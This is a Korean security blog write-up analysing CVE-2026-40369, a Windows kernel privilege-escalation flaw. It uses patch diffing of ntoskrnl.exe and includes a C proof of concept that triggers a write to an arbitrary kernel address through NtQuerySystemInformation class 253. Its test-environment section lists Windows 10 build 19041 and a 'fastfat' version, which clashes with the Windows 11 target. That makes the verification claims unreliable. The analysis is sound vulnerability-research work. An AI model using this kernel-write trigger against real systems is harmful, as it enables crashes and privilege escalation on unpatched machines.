CVE-2026-40369 Windows 커널 권한 상승
ntoskrnl.exe의 ExpQuerySystemInformation에서 Length 검증이 누락된 취약점을 패치 디핑으로 분석하고 PoC로 재현했습니다.
Security Update Guide - Microsoft Security Response Center
개요
기본 정보
- CVE ID: CVE-2026-40369
- 명칭: Windows Kernel Elevation of Privilege Vulnerability
- 공개일: 2026년 5월 12일
- CVSS 3.1 (Base): 7.8 / High
- CVSS 3.1 (Temporal): 6.8
-
벡터 문자열: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C
메트릭 값 의미 AV(공격 벡터) L (Local) 원격 공격 불가 AC(공격 복잡도) L (Low) 특수 조건 없이 안정적으로 재현됨 PR(필요 권한) L (Low) 일반 사용자 권한으로 충분 UI(사용자 상호작용) N (None) 피해자의 행위가 필요하지 않음 S(범위) U (Unchanged) 보안 경계 자체는 변경되지 않음 C / I / A H / H / H 기밀성·무결성·가용성 전면 침해 E(Exploit Code Maturity) U (Unproven) CVSS 평가 당시 공개된 검증된 익스플로잇 없음 RL(Remediation Level) O (Official Fix) 공식 패치가 나옴 RC(Report Confidence) C (Confirmed) 벤더가 확인함 → 해석: 일반 사용자 권한의 프로세스가 사용자 상호작용 없이 높은 수준의 기밀성·무결성·가용성 영향을 유발할 수 있음
- 대상 컴포넌트: ntoskrnl.exe (Windows Kernel)
- 취약 함수:
nt!ExpGetProcessInformation - 공격 진입점:
NtQuerySystemInformation(syscall)
사전 지식
ntoskrnl.exe
- 정의: Windows 커널의 본체에 해당하는 단일 실행 파일 (컴퓨터 켜지면 항상 떠 있고 끌 수 없음)
- 메모리 관리·프로세스 관리·객체 관리·보안 검사 등 핵심 기능이 단일 파일 내부에 모두 포함됨
- CVE-2026-40369와의 관계
- 취약점이 드라이버가 아닌 본체에 존재하므로 회피·비활성화가 불가능함
- Windows 커널의 핵심 구성 요소로 상시 동작하므로, 해당 코드 경로가 광범위한 Windows 환경에 존재함
NtQuerySystemInformation
- 정의: 시스템 전역 정보를 조회하는 시스템 서비스 함수
- 전역 변수: 현재 실행 중인 특정 프로그램 하나가 아니라 Windows 시스템 전체에 대한 정보
- 시스템 서비스 함수: System Call을 통해 커널 기능을 사용하는 함수
-
함수 원형
NTSTATUS NtQuerySystemInformation( ULONG SystemInformationClass, // 조회할 정보의 종류 PVOID SystemInformation, // 결과를 저장할 버퍼 (유저가 지정) ULONG SystemInformationLength, // 버퍼의 크기 PULONG ReturnLength // 실제 필요한 크기 (커널이 반환) ); - 작동원리
- 유저가 결과를 기록할 주소를 직접 지정하며, 커널은 해당 주소에 데이터를 씀
- 커널은 사용 전 반드시 해당 포인터의 유효성을 검증해야 함
Information Class
- 정의: 조회할 정보의 종류를 지정하는 열거형 상수
- 열거형 상수: 미리 이름을 붙여 놓은 숫자
- 작동원리
- 첫 번째 인자 값에 따라 커널 내부에서 서로 다른 처리 분기로 진입함
- 다수의 Class가 동일한 내부 함수를 공유하되, 각기 다른 변수와 처리 경로를 사용함
| Class | 명칭 | 비고 |
|---|---|---|
| 5 | SystemProcessInformation | 프로세스 목록 |
| 252 (0xFC) | SystemProcessInformationEx | 확장 |
| 253 (0xFD) | SystemProcessInformationExtension | 취약 경로 |
- 분석
- Class 5·252·253은 모두
ExpGetProcessInformation을 공유하나, Class 253 경로에서는 Length에 대한 사전 검증이 누락되어Length = 0인 정상 사용 패턴이 취약 경로로 이어질 수 있음 - 공유 함수에 신규 분기를 추가하는 과정에서 기존 방어 로직이 누락된 전형적 패턴에 해당함
- Class 5·252·253은 모두
Size Probing 패턴
- 정의: 필요한 버퍼 크기를 먼저 조회한 뒤 할당하여 재호출하는 표준 사용 패턴
- 버퍼(Buffer): 함수의 실행 결과를 저장하기 위해 사용자가 제공하는 메모리 공간
- 작동원리
- 조회 결과의 크기를 사전에 알 수 없으므로, 1차 호출에서 크기만 확인함
- 1차 호출은 버퍼 NULL, 길이 0으로 수행하며 STATUS_INFO_LENGTH_MISMATCH를 반환받음
- 반환된 ReturnLength만큼 할당하여 2차 호출을 수행함
ULONG needed = 0;
// 1차: 필요 크기 조회 ← Length = 0
NtQuerySystemInformation(cls, NULL, 0, &needed);
// 2차: 실제 조회
buffer = malloc(needed);
NtQuerySystemInformation(cls, buffer, needed, &needed);
- 분석
- Length = 0 을 이용해 필요한 버퍼 크기를 확인하는 Size Probing 패턴이 존재함
- CVE-2026-40369는 이 정상 경로 위에서 성립하므로, 비정상 입력 탐지 방식으로는 식별이 어려움
ProbeForWrite
- 정의: 유저 모드로부터 전달받은 포인터가 쓰기 가능한 유저 주소인지 검증하는 커널 루틴 (“이 주소에 진짜 써도 되는 유저 주소인지” 검사하는 커널 함수)
-
함수 원형
VOID ProbeForWrite( PVOID Address, // 검증 대상 주소 SIZE_T Length, // 검증 대상 크기 ULONG Alignment // 정렬 요구 사항 ); - 작동원리
- 대상 주소가 유저 모드 영역인지 확인
- 정렬 조건 충족 여부를 확인함
- 실제 쓰기 가능 여부를 확인하며, 조건 위반 시 예외를 발생시켜 요청을 중단시킴
취약점 분석

출처: ChatGPT
Patch Diff
패치 전 파일과 패치 후 파일을 비교해서, 바뀐 부분을 찾아내는 작업
분석 환경
- 디스어셈블러: Ghidra 12.1.2
- 분석 대상: ntoskrnl.exe (Windows 커널 본체)
- 바이너리 확보: Winbindex
바이너리 확보
- 취약한 버전: 10.0.26100.8328
- 패치된 버전: 10.0.26100.8457
Diff 결과
1. 취약 함수 수정 안됨: ExpGetProcessInformation
- 왜
ExpGetProcessInformation이 취약 함수인가?- 실제 임의 커널 쓰기(Arbitrary Kernel Write)가 발생하는 위치는
ExpGetProcessInformation이지만, 취약점의 근본 원인은 호출자인ExpQuerySystemInformation의 검증 누락임
- 실제 임의 커널 쓰기(Arbitrary Kernel Write)가 발생하는 위치는
ExpGetProcessInformation: 프로세스·스레드·핸들 관련 정보를 수집하여 출력 버퍼에 기록하는 커널 내부 함수- 버그가
ExpGetProcessInformation에 있으니 거기가 고쳐졌을 거라 예상함 -
취약한 버전: 10.0.26100.8328

-
패치된 버전: 10.0.26100.8457

- 근거 1: 3개 DWORD를 가산하는 쓰기 블록이 패치 후에도 동일하게 존재함
- 프로세스 수/스레드 수/핸들 수, 이 3개 숫자를 지정된 주소에 더해 쓰는 코드가 있음
-
근거2: 길이 검사 및 반환 구조가 변경되지 않음


- 반환 조건이
ReturnLength == NULL인 경우로 한정됨 - 호출자
ExpQuerySystemInformation은 항상 커널 스택 지역변수를 전달하므로 해당 조건은 성립할 수 없음ExpQuerySystemInformation: 함수를 부르기 전에 요청을 정리·검사하는 함수
- 반환 조건이
- 분석
- 함수 크기에는 유의미한 변화가 없었으며, 함수 주소만 +0x60 이동함
- 변경 지점이 다른 함수에 존재할 가능성을 확인하며 호출자인
ExpQuerySystemInformation으로 분석 범위를 확장함
2. 패치는 호출자에 존재: ExpQuerySystemInformation
- 호출자를 봤더니, 워커(실제 작업을 수행하는 내부 함수)를 부르기 직전에 검사 8줄이 새로 추가돼 있음
-
취약한 버전: 10.0.26100.8328

-
패치된 버전: 10.0.26100.8457

Feature_3537880376검색 시 10.0.26100.8457 에서만 1건 검색됨- 변수 식별
- Ghidra가 생성한 변수명을 함수 내 대입 지점 추적을 통해 실제 의미로 대응시키는 과정
| Ghidra 변수 | 실제 의미 | 근거 |
|---|---|---|
local_448 / local_43c |
SystemInformationClass | local_448 = param_1 |
param_5 |
SystemInformationLength | uVar26 = (ulonglong)param_5 후 워커에 전달 |
param_6 |
ReturnLength | 타 case에서 *param_6 = 0x30형태로 동일 용법 |
- 추가된 검증 로직
- InfoClass == 253 이고 Length < 12 인 경우 STATUS_INFO_LENGTH_MISMATCH를 반환함
- Length = 0 인 경우 0 < 12 가 성립하므로 조건에 진입함
ExpGetProcessInformation이 호출되지 않으므로 쓰기 코드에 도달 자체가 차단됨- 임계값 12는 취약점이 기록하는 3개 DWORD의 총 크기와 일치함 (쓰기에 필요한 최소 크기)
패치 분석
ProbeForWrite는 수정되지 않음
ProbeForWrite(param_4, uVar26, uVar36); // 두 빌드 동일
- 작동원리
- 두 번째 인자 uVar26은 여전히 사용자가 지정한 Length임
- Length = 0인 경우 아무 검증 없이 반환하는 동작이 패치 후에도 유지됨
- 분석
- Microsoft는 근본 원인을 수정하는 것이 아니라, 해당 원인이 악용되는 특정 경로 하나를 차단함
- 동일한 패턴이 다른 Information Class나 다른 시스템 서비스에 존재할 가능성이 남아있음
PoC
| 인자 | 값 |
|---|---|
| InformationClass | 253 |
| Buffer | Arbitrary Kernel Address |
| Length | 0 |
| ReturnLength | Stack Variable |
/*
* CVE-2026-40369 - Proof of Concept
* 목표 : 취약 경로 도달 및 커널 쓰기(BSOD) 재현
*
* 대상 : Windows 11 24H2/25H2
* 빌드 : cl /W4 poc.c
* 실행 : 취약 빌드 VM에서만 실행
*/
#include <windows.h>
#include <stdio.h>
#define SYSTEM_PROCESS_INFORMATION_EXTENSION 253
/* BSOD 확인용 커널 주소 */
#define TARGET_KERNEL_ADDRESS ((PVOID)0xFFFF800041424344ULL)
/* NtQuerySystemInformation */
typedef LONG (NTAPI *pNtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
int main(void)
{
HMODULE hNtdll;
pNtQuerySystemInformation NtQuerySystemInformation;
ULONG returnLength = 0;
LONG status;
puts("[*] CVE-2026-40369 PoC");
puts("[!] Running on a vulnerable VM will trigger a BSOD.\n");
/* ntdll에서 함수 주소 획득 */
hNtdll = GetModuleHandleW(L"ntdll.dll");
if (hNtdll == NULL) {
printf("[-] GetModuleHandle 실패: %lu\n", GetLastError());
return 1;
}
NtQuerySystemInformation =
(pNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
printf("[-] GetProcAddress 실패: %lu\n", GetLastError());
return 1;
}
printf("[+] NtQuerySystemInformation @ %p\n", (void *)NtQuerySystemInformation);
/* 취약 경로 호출 */
printf("[+] trigger: class=253, buffer=%p, length=0\n", TARGET_KERNEL_ADDRESS);
status = NtQuerySystemInformation(
SYSTEM_PROCESS_INFORMATION_EXTENSION,
TARGET_KERNEL_ADDRESS,
0,
&returnLength);
printf("[-] No crash. status=0x%08lX, returnLength=%lu\n",
(unsigned long)status, returnLength);
return 0;
}
실행 및 검증
실행 환경
- OS: Windows 10 (build 19041)
- fastfat 버전: 10.0.19041.5547
- 가상화: Hyper-V
- 디버거: WinDbg
실행 결과
- VM에서 poc.exe 실행 즉시 BSOD 발생
- WinDbg가 크래시를 포착하여 !analyze -v 로 분석함

PoC 코드와의 대응
- 정의: 크래시 로그의 값이 PoC 코드에서 지정한 값과 일치하는지 대조하는 과정
- 의의: 값이 일치하면 우연한 크래시가 아니라 PoC가 의도적으로 유발한 것을 증명함
| PoC 코드 | 크래시 로그 | 의미 |
|---|---|---|
#define TARGET_KERNEL_ADDRESS ((PVOID)0xFFFF800041424344) |
Arg1: ffff800041424344 |
커널이 PoC가 지정한 주소에 접근함 |
NtQuerySystemInformation(253, addr, 0, ...) |
Arg2 = 2 |
읽기가 아닌 쓰기 시도였음 |
| 매핑되지 않은 커널 주소 지정 | PAGE_FAULT_IN_NONPAGED_AREA (50) |
존재하지 않는 커널 주소에 쓰기 시도 |
정리
- Arg1 이 PoC에 지정한 주소(0xFFFF800041424344)와 정확히 일치함
- PoC에서 지정한 커널 주소가 실제 접근 대상이 됨을 증명함
- Arg2의 Write 비트가 설정됨
- 접근이 읽기가 아니라 쓰기였음을 의미함
최종 정리
- 취약한 쓰기는 ExpGetProcessInformation에서 발생하지만, 근본적인 원인은 ExpQuerySystemInformation에서 Length에 대한 검증이 누락된 데 있음
- Microsoft는 ProbeForWrite를 수정하지 않고 Length < 12 검사를 추가하여 취약 경로만 차단함
- 이번 분석 범위에서는 다른 Information Class에 동일한 검증 누락이 존재하는지 확인하지 않았으므로, 가능성을 배제할 수 없음
Comments